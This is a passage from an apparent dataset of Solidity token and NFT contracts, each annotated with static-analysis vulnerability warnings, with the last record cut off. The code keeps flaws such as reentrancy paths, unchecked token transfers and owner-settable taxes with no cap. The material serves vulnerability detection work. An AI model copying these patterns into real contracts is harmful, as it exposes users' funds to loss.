maxSalePlusOne,\n \"Exceeds Available Amount!\"\n );\n\n for (uint256 i; i < quantity; i++) {\n uint256 tid = tokenId();\n\n _safeMint(to, tid);\n }\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7561c73): UprisingNodes.setUSDT(address).newUSDT lacks a zerocheck on \t USDT = newUSDT\n\t// Recommendation for 7561c73: Check that the address is not zero.\n function setUSDT(address newUSDT) external onlyOwner {\n\t\t// missing-zero-check | ID: 7561c73\n USDT = newUSDT;\n }\n\n function setReferrerStatus(\n address referrerAddress,\n bool status\n ) external onlyOwner {\n referrers[referrerAddress].isActive = status;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 325b9f7): UprisingNodes.setSigner(address).newSigner lacks a zerocheck on \t signer = newSigner\n\t// Recommendation for 325b9f7: Check that the address is not zero.\n function setSigner(address newSigner) external onlyOwner {\n\t\t// missing-zero-check | ID: 325b9f7\n signer = newSigner;\n }\n\n function setContractState(uint256 contractState_) external onlyOwner {\n require(contractState_ < 2, \"Invalid State!\"); // Ensure the input is within the valid range\n\n contractState = ContractState(contractState_);\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 38e548d): UprisingNodes.setMaxSale(uint256) should emit an event for maxSalePlusOne = maxSalePlusOne_ \n\t// Recommendation for 38e548d: Emit an event for critical parameter changes.\n function setMaxSale(uint256 maxSale_) external onlyOwner {\n uint256 maxSalePlusOne_ = maxSale_ + 1;\n\n require(\n maxSalePlusOne_ > totalSupply(),\n \"Must Be Above Current Supply!\"\n );\n\n\t\t// events-maths | ID: 38e548d\n maxSalePlusOne = maxSalePlusOne_;\n }\n\n function setBaseURI(string memory baseURI_) external onlyOwner {\n baseURI = baseURI_;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 1ad515f): UprisingNodes.setInitialPrice(uint256) should emit an event for initialPrice = newInitialPrice \n\t// Recommendation for 1ad515f: Emit an event for critical parameter changes.\n function setInitialPrice(uint256 newInitialPrice) external onlyOwner {\n\t\t// events-maths | ID: 1ad515f\n initialPrice = newInitialPrice;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 3259813): UprisingNodes.setFirstPriceIncrease(uint256) should emit an event for firstPriceIncrease = newFirstPriceIncrease \n\t// Recommendation for 3259813: Emit an event for critical parameter changes.\n function setFirstPriceIncrease(\n uint256 newFirstPriceIncrease\n ) external onlyOwner {\n\t\t// events-maths | ID: 3259813\n firstPriceIncrease = newFirstPriceIncrease;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: ae3212f): UprisingNodes.setPriceIncrement(uint256) should emit an event for priceIncrement = newPriceIncrement \n\t// Recommendation for ae3212f: Emit an event for critical parameter changes.\n function setPriceIncrement(uint256 newPriceIncrement) external onlyOwner {\n\t\t// events-maths | ID: ae3212f\n priceIncrement = newPriceIncrement;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6f67d13): UprisingNodes.setPriceIncreaseStart(uint16) should emit an event for priceIncreaseStart = newPriceIncreaseStart \n\t// Recommendation for 6f67d13: Emit an event for critical parameter changes.\n function setPriceIncreaseStart(\n uint16 newPriceIncreaseStart\n ) external onlyOwner {\n\t\t// events-maths | ID: 6f67d13\n priceIncreaseStart = newPriceIncreaseStart;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f39a825): UprisingNodes.setIncreasePriceStep(uint8) should emit an event for increasePriceStep = newIncreasePriceStep \n\t// Recommendation for f39a825: Emit an event for critical parameter changes.\n function setIncreasePriceStep(\n uint8 newIncreasePriceStep\n ) external onlyOwner {\n\t\t// events-maths | ID: f39a825\n increasePriceStep = newIncreasePriceStep;\n }\n\n function setMandatoryReferral(\n bool newMandatoryReferral\n ) external onlyOwner {\n mandatoryReferral = newMandatoryReferral;\n }\n\n function saleInfo() public view virtual returns (uint256[4] memory) {\n return [\n uint256(contractState),\n maxSalePlusOne - 1,\n totalSupply(),\n getPrice(totalSupply(), 0)\n ];\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 271b2b8): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 271b2b8: Consider ordering multiplication before division.\n function getPrice(\n uint256 nodesSold,\n uint256 discount\n ) public view returns (uint256 currentPrice) {\n require(discount <= 1000, \"Invalid Discount!\");\n\n if (nodesSold < priceIncreaseStart) {\n return (initialPrice * (100 - discount)) / 1000;\n } else {\n\t\t\t// divide-before-multiply | ID: 271b2b8\n uint256 increments = (nodesSold - priceIncreaseStart) /\n increasePriceStep;\n\n\t\t\t// divide-before-multiply | ID: 271b2b8\n return\n ((firstPriceIncrease + (increments * priceIncrement)) *\n (100 - discount)) / 1000;\n }\n }\n\n\t// WARNING Vulnerability (encode-packed-collision | severity: High | ID: 1396426): UprisingNodes.tokenURI(uint256) calls abi.encodePacked() with multiple dynamic arguments string(abi.encodePacked(baseURI,tokenId_.toString(),.json))\n\t// Recommendation for 1396426: Do not use more than one dynamic type in 'abi.encodePacked()' (see the Solidity documentation). Use 'abi.encode()', preferably.\n function tokenURI(\n uint256 tokenId_\n ) public view virtual override returns (string memory) {\n require(_exists(uint16(tokenId_)), \"Nonexistent Token!\");\n\n\t\t// encode-packed-collision | ID: 1396426\n return\n bytes(baseURI).length > 0\n ? string(\n abi.encodePacked(baseURI, tokenId_.toString(), \".json\")\n )\n : \"\";\n }\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override(ERC721Enumerable) returns (bool) {\n return ERC721.supportsInterface(interfaceId);\n }\n\n function setApprovalForAll(\n address,\n bool\n ) public pure override(ERC721, IERC721) {\n require(false, \"Soulbound Token!\");\n }\n\n function approve(address, uint256) public pure override(ERC721, IERC721) {\n require(false, \"Soulbound Token!\");\n }\n\n function transferFrom(\n address,\n address,\n uint256\n ) public pure override(ERC721, IERC721) {\n require(false, \"Soulbound Token!\");\n }\n\n function safeTransferFrom(\n address,\n address,\n uint256\n ) public pure override(ERC721, IERC721) {\n require(false, \"Soulbound Token!\");\n }\n\n function safeTransferFrom(\n address,\n address,\n uint256,\n bytes memory\n ) public pure override(ERC721, IERC721) {\n require(false, \"Soulbound Token!\");\n }\n\n function ownerWithdraw(\n address payable account,\n uint256 amount\n ) external virtual onlyOwner {\n Address.sendValue(account, amount);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 217e2d6): UprisingNodes.ownerWithdrawERC20(address,address,uint256) ignores return value by token.transfer(recipient,amount)\n\t// Recommendation for 217e2d6: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function ownerWithdrawERC20(\n address tokenAddress,\n address recipient,\n uint256 amount\n ) external onlyOwner {\n require(tokenAddress != address(0), \"Invalid token address\");\n\n require(recipient != address(0), \"Invalid recipient address\");\n\n require(amount > 0, \"Amount must be greater than zero\");\n\n IERC20 token = IERC20(tokenAddress);\n\n\t\t// unchecked-transfer | ID: 217e2d6\n token.transfer(recipient, amount);\n }\n}\n",
"file_name": "solidity_code_10571.sol",
"size_bytes": 38297,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 result = a + b;\n\n require(result >= a, \"SafeMath: addition overflow\");\n\n return result;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 result = a - b;\n\n require(b <= a, \"SafeMath: subtraction underflow\");\n\n return result;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = a * b;\n\n require(result / a == b, \"SafeMath: multiplication overflow\");\n\n return result;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n uint result = a / b;\n\n require(b > 0, \"SafeMath: modulus by zero\");\n\n return result;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ncontract TestP is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fe6c71e): TestP._taxWallet should be immutable \n\t// Recommendation for fe6c71e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private _transferTax = 0;\n\n uint256 private _initialBuyTax = 30;\n\n uint256 private _initialSellTax = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 745af7c): TestP._finalBuyTax should be constant \n\t// Recommendation for 745af7c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: fc73a42): TestP._finalSellTax should be constant \n\t// Recommendation for fc73a42: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 532893a): TestP._reduceBuyTaxAt should be constant \n\t// Recommendation for 532893a: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 500; // refers to '_buyCount'\n\n\t// WARNING Optimization Issue (constable-states | ID: 636892c): TestP._reduceSellTaxAt should be constant \n\t// Recommendation for 636892c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 500; // refers to '_buyCount'\n\n\t// WARNING Optimization Issue (constable-states | ID: 160550c): TestP._preventSwapBefore should be constant \n\t// Recommendation for 160550c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20; // refers to '_buyCount'\n\n uint256 private _buyCount = 0;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n string private constant _name = unicode\"TestP\";\n\n string private constant _symbol = unicode\"TESTP\";\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _totalSupply = 10_000_000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 100_000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 200_000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 85a31f3): TestP._taxSwapThreshold should be constant \n\t// Recommendation for 85a31f3: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 50_000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 11f35fe): TestP._maxTaxSwap should be constant \n\t// Recommendation for 11f35fe: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 100_000 * 10 ** _decimals;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _totalSupply;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ae14555): TestP.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ae14555: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function transferTax() public view returns (uint256) {\n return _transferTax;\n }\n\n function initialBuyTax() public view returns (uint256) {\n return _initialBuyTax;\n }\n\n function initialSellTax() public view returns (uint256) {\n return _initialSellTax;\n }\n\n function getBalances(\n address[] memory wallets\n ) public view returns (uint256[] memory) {\n uint256[] memory balancesLocal = new uint256[](wallets.length);\n\n for (uint index = 0; index < wallets.length; index++) {\n balancesLocal[index] = _balances[wallets[index]];\n }\n\n return balancesLocal;\n }\n\n function checkIsAddressWhitelistedSingle(\n address checkAddress\n ) public view returns (bool) {\n return _isExcludedFromFee[checkAddress];\n }\n\n function checkIsAddressWhitelistedGroup(\n address[] memory checkAddresses\n ) public view returns (bool[] memory) {\n bool[] memory result = new bool[](checkAddresses.length);\n\n for (uint index = 0; index < checkAddresses.length; index++) {\n result[index] = _isExcludedFromFee[checkAddresses[index]];\n }\n\n return result;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 71899fc): TestP.setTransferTax(uint256) should emit an event for _transferTax = newTransferTax \n\t// Recommendation for 71899fc: Emit an event for critical parameter changes.\n function setTransferTax(\n uint256 newTransferTax\n ) public onlyOwner returns (bool) {\n\t\t// events-maths | ID: 71899fc\n _transferTax = newTransferTax;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: b9af89d): TestP.setInitialBuyTax(uint256) should emit an event for _initialBuyTax = newInitialBuyTax \n\t// Recommendation for b9af89d: Emit an event for critical parameter changes.\n function setInitialBuyTax(\n uint256 newInitialBuyTax\n ) public onlyOwner returns (bool) {\n\t\t// events-maths | ID: b9af89d\n _initialBuyTax = newInitialBuyTax;\n\n return true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: f302825): TestP.setInitialSellTax(uint256) should emit an event for _initialSellTax = newInitialSellTax \n\t// Recommendation for f302825: Emit an event for critical parameter changes.\n function setInitialSellTax(\n uint256 newInitialSellTax\n ) public onlyOwner returns (bool) {\n\t\t// events-maths | ID: f302825\n _initialSellTax = newInitialSellTax;\n\n return true;\n }\n\n function addToWhitelistSingle(address newAddress) public onlyOwner {\n _isExcludedFromFee[newAddress] = true;\n }\n\n function addToWhitelistGroup(\n address[] calldata newAddresses\n ) public onlyOwner {\n for (uint256 i = 0; i < newAddresses.length; i++) {\n _isExcludedFromFee[newAddresses[i]] = true;\n }\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5244836\n\t\t// reentrancy-events | ID: f54934e\n\t\t// reentrancy-benign | ID: e551111\n\t\t// reentrancy-eth | ID: 1e085ce\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 04b48c8): TestP.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 04b48c8: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 5244836\n\t\t// reentrancy-events | ID: f54934e\n\t\t// reentrancy-eth | ID: 1e085ce\n\t\t// arbitrary-send-eth | ID: 04b48c8\n _taxWallet.transfer(amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet); // instead of 'onlyOwner' modifier (will still work after renounce)\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance); // send ETH to '_taxWallet'\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 584ad0c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 584ad0c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3a6c8f9): TestP.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 3a6c8f9: Ensure that all the return values of the function calls are used.\n function openTrading() external onlyOwner {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _totalSupply);\n\n\t\t// reentrancy-benign | ID: 584ad0c\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 584ad0c\n\t\t// unused-return | ID: 3a6c8f9\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 584ad0c\n swapEnabled = true;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _totalSupply;\n\n _maxWalletSize = _totalSupply;\n\n emit MaxTxAmountUpdated(_totalSupply);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f54934e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f54934e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e551111): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e551111: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f54934e\n\t\t// reentrancy-benign | ID: e551111\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f54934e\n\t\t// reentrancy-benign | ID: e551111\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(amount)\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: af51c87): TestP._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for af51c87: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: e551111\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f54934e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5244836): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5244836: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 1e085ce): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 1e085ce: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount.mul(_transferTax).div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 5244836\n\t\t\t\t// reentrancy-eth | ID: 1e085ce\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n ); // swap token-tax for ETH (max: '_maxTaxSwap')\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 5244836\n\t\t\t\t\t// reentrancy-eth | ID: 1e085ce\n sendETHToFee(address(this).balance); // send tax ETH to '_taxWallet'\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 1e085ce\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5244836\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 1e085ce\n _balances[from] = _balances[from].sub(amount); // remove 'amount' from sender balance\n\n\t\t// reentrancy-eth | ID: 1e085ce\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 5244836\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10572.sol",
"size_bytes": 19686,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n function WETH() external pure returns (address);\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ninterface IERC20 {\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 57677c6): TREMP.constructor().totalSupply shadows ERC20.totalSupply() (function) IERC20.totalSupply() (function)\n\t// Recommendation for 57677c6: Rename the local variables that shadow another component.\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function transfer(address to, uint256 amount) external returns (bool);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n function symbol() external view returns (string memory);\n function decimals() external view returns (uint8);\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 9;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n\t\t\t// reentrancy-eth | ID: 6138ea5\n _balances[from] = fromBalance - amount;\n }\n\t\t// reentrancy-eth | ID: 6138ea5\n _balances[to] += amount;\n\n\t\t// reentrancy-events | ID: f007209\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n _owner = newOwner;\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract TREMP is ERC20, Ownable {\n IUniswapV2Router02 private constant _router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n address public uniswapPair;\n address public immutable feeReceiver;\n\n uint256 public maxWalletSize = 8413800000 * 1e9;\n uint256 private swapbackMax = 8413800000 * 1e9;\n uint256 private swapbackMin = 1262070000 * 1e9;\n uint32 private _buyCount;\n uint32 private _sellCount;\n uint32 private 